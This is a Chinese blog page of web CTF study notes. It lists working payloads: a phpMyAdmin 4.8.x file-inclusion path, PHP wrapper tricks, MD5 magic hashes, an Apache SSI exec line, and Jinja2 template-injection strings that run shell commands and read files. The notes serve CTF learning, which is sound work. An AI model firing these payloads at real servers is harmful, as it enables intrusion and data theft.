web ctf note

6 篇文章 0 订阅

phpMyAdmin 4.8.x 本地文件包含漏洞利用

读取flag文件

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

why? (%253f )

由于多了第二次的解码和判断,导致当传入二次编码的?(即%253f)时会取出导致db_sql.php作为参数从而绕过白名单进而达到文件读取的目的

变量覆盖漏洞

https://blog.csdn.net/qq_43622442/article/details/105925473

PHP伪协议中的data://

用法:data://text/plain;base64,
eg ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

MD5

MD5值相同的两组不同字符

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

QNKCDZO
240610708
一开始以为是要寻找MD5碰撞的例子,后来想了想不应该这么复杂,就发现了PHP有个隐式转换的缺陷,PHP在处理哈希字符串时,会利用”!=”或””来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,(当出现xex模式的时候代表科学计数法)所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
当然,安全的比较方法是三个=,也就是“===”。

md5加密前后数值相等
PHP弱类型总结
哈希函数md5().hexdigest()
WUSTCTF2020朴实无华–WP

0e215962017

import hashlib #$md5==md5($md5)
v0='0e'
for v1 in '0123456789':
    for v2 in '0123456789':
        for v3 in '0123456789':
            for v4 in '0123456789':
                for v5 in '0123456789':
                    for v6 in '0123456789':
                        for v7 in '0123456789':
                            for v8 in '0123456789':
                                for v9 in '0123456789':
                                    for v10 in '0123456789':
                                        for v11 in '0123456789':
                                            for v12 in '0123456789':
                                                for v13 in '0123456789':
                                                    v = v0+v1 + v2 + v3 + v4 + v5 + v6+v7+v8+v9+v10+v11+v12+v13
                                                    m = hashlib.md5() #获取一个md5加密算法对象
                                                    m.update(v.encode("utf-8"))#要对哪个字符串进行加密,就放这里
                                                    n = m.hexdigest()#获取加密后的16进制字符串
                                                    if n[0:2] == '0e' and n[2:].isdigit():#要求前两位是0e,然后后面只有数字构成
                                                        print(v)

[MRCTF2020]套娃

https://www.freesion.com/article/8725512564/

jsfuck编码 、反写

UTF-8与Unicode

Unicode字符大全

https://www.compart.com/en/unicode/

函数转换

base_convert():
在这里插入图片描述
dechex:将10进制转化为16进制
hex2bin:16进制转换为ASCII字符

获取PHP源码

  1. php伪协议
php://input:使用条件:include()、include_once()、file_get_contents()
enctype=”multipart/form-data” 的时候 php://input 是无效的
  1. php://output
是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区
  1. php://filter
php://filter/convert.base64-encode/resource=index.php

在这里插入图片描述
源码中的写法:

  1. List item
include($file.'php') 或者 include($file)

这里直接使用伪协议包含:

?file = php://filter/read=convert.base64-encode/resource=login?action = xxx & mode = xxx
include($action.'/'.$mode.'.php');

对于这种情况使用的伪协议包含形式:

?action=php://filter/read=convert.base64-encode/resource=./&mode=login

参考源->

https://blog.csdn.net/weixin_39580682/article/details/115144055

反序列化逃逸

两种对象:

  1. 第一种:关键词数增加
    例如: where->hacker,这样词数由五个增加到6个
  2. 第二种:关键词数减少
    例如:直接过滤掉一些关键词
    way:值逃逸、键逃逸

[安洵杯 2019]easy_serialize_php 脑壳大!!!!
https://www.cnblogs.com/h3zh1/p/12732336.html

mysql之无列名注入

https://zhuanlan.zhihu.com/p/98206699

intval()函数

如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,而对于科学计数法+数字则会返回字符串类型
在这里插入图片描述

命令执行 绕过方法

https://www.fujieace.com/penetration-test/command-bypass.html
eg: 空格绕过 $IFC$9${IFC}

NMAP

-il /etc/pass 任意文件中读取要扫描的文件
-o /tmp/1 把扫描文件输出到一个地方
escapeshellarg()+escapeshellcmd()

extractvalue和updatexml进行报错注入

[极客大挑战 2019]HardSQL 1
EXTRACTVALUE https://blog.csdn.net/SopRomeo/article/details/104041233/
UPDATAEXML https://www.cnblogs.com/wangtanzhi/p/12257412.html

CBC字节翻转攻击

2021ISCC ISCC客服一号冲冲冲(二)
注意:cookie里面数据转url格式
https://blog.csdn.net/zpy1998zpy/article/details/80684485
https://blog.csdn.net/jvkyvly/article/details/116755861

PHP assert()函数

assert 判断一个表达式是否成立
assert()可以将整个字符串参数当作php参数执行。
所以构造木马
eg: [NPUCTF2020]ReadlezPHP1

Apache SSI远程命令执行漏洞

SSI(服务器包含)是放在HTML页面中的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
eg
环境:文件上传,php文件被禁止上传
根据SSI的特性上传一个shtml文件
<!--#exec cmd="whoami" -->

SSTI模板注入漏洞

smarty ssti
{$smarty.version} 返回的smarty的版本号
eg: [CISCN2019 华东南赛区]Web111

Flask jinja2模板注入思路总结

py3

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

https://blog.csdn.net/qq_27446553/article/details/79379136
靶场:https://buuoj.cn/challenges#[GYCTF2020]FlaskApp

[CISCN2019 总决赛 Day2 Web1]Easyweb1

脚本思路

https://www.cnblogs.com/kevinbruce656/p/12631048.html

二次注入

[RCTF2015]EasySQL

  • sql二次注入
  • 使用reverse()函数,将查询结果倒序输出

regexp

[NCTF2019]SQLi 1
wp

[HarekazeCTF2019]encode_and_encode

1.json字符转义
2.php伪协议
php://filter/convert.base64-encode/resource=

RETRY

[0CTF 2016]piapiapia
wp:https://blog.csdn.net/qq_43622442/article/details/105751356

PHP中的字符替代

%09代替 空格

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值